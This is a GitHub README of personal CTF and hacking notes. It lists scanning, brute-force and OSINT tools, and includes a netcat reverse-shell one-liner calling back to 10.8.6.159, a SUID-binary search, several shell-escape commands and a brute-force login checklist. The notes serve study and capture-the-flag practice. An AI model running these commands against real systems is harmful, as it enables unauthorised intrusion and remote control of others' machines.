Skip to content

HermantNET/hacking

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 

Repository files navigation

Tools

Scanning

  • nmap
  • rustscan
  • masscan
  • nikto

Directories

  • gobuster
  • zap
  • burp

Strings

  • haiti - guess hash algorithm
  • codetective - find encoding algorithm
  • john
  • ssh2john

Brute-force

  • hydra
  • wpscan

Escalation

  • linuxprivchecker

OSINT

  • GHunt

Scripts

  • find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
  • nmap --script=smb-enum-shares ...
  • rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.6.159 1337 >/tmp/f
  • grep "^j" rockyou.txt | grep "^[a-Z0-9\-\_]*$" | perl -e 'print sort { length($a) <=> length($b) } <>' > j-names.txt

Spawing a shell

  • python - python -c 'import pty; pty.spawn("/bin/sh")'
  • sh - echo os.system('/bin/bash')
  • sh - /bin/sh -i
  • perl - perl —e 'exec "/bin/sh";'
  • perl - perl: exec "/bin/sh";
  • ruby - ruby: exec "/bin/sh"
  • lua - lua: os.execute('/bin/sh')
  • IRB - exec "/bin/sh"
  • vi - :!bash
  • vi - :set shell=/bin/bash:shell
  • nmap - !sh

Websites

Login checklist

  • Find and try default login credentials
  • Look around locally for any possible usernames
  • OSINT, continue to build list of possible logins
  • All else fails, brute-force

About

Notes from various CTF's and other hacking stuff that I use for reference

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published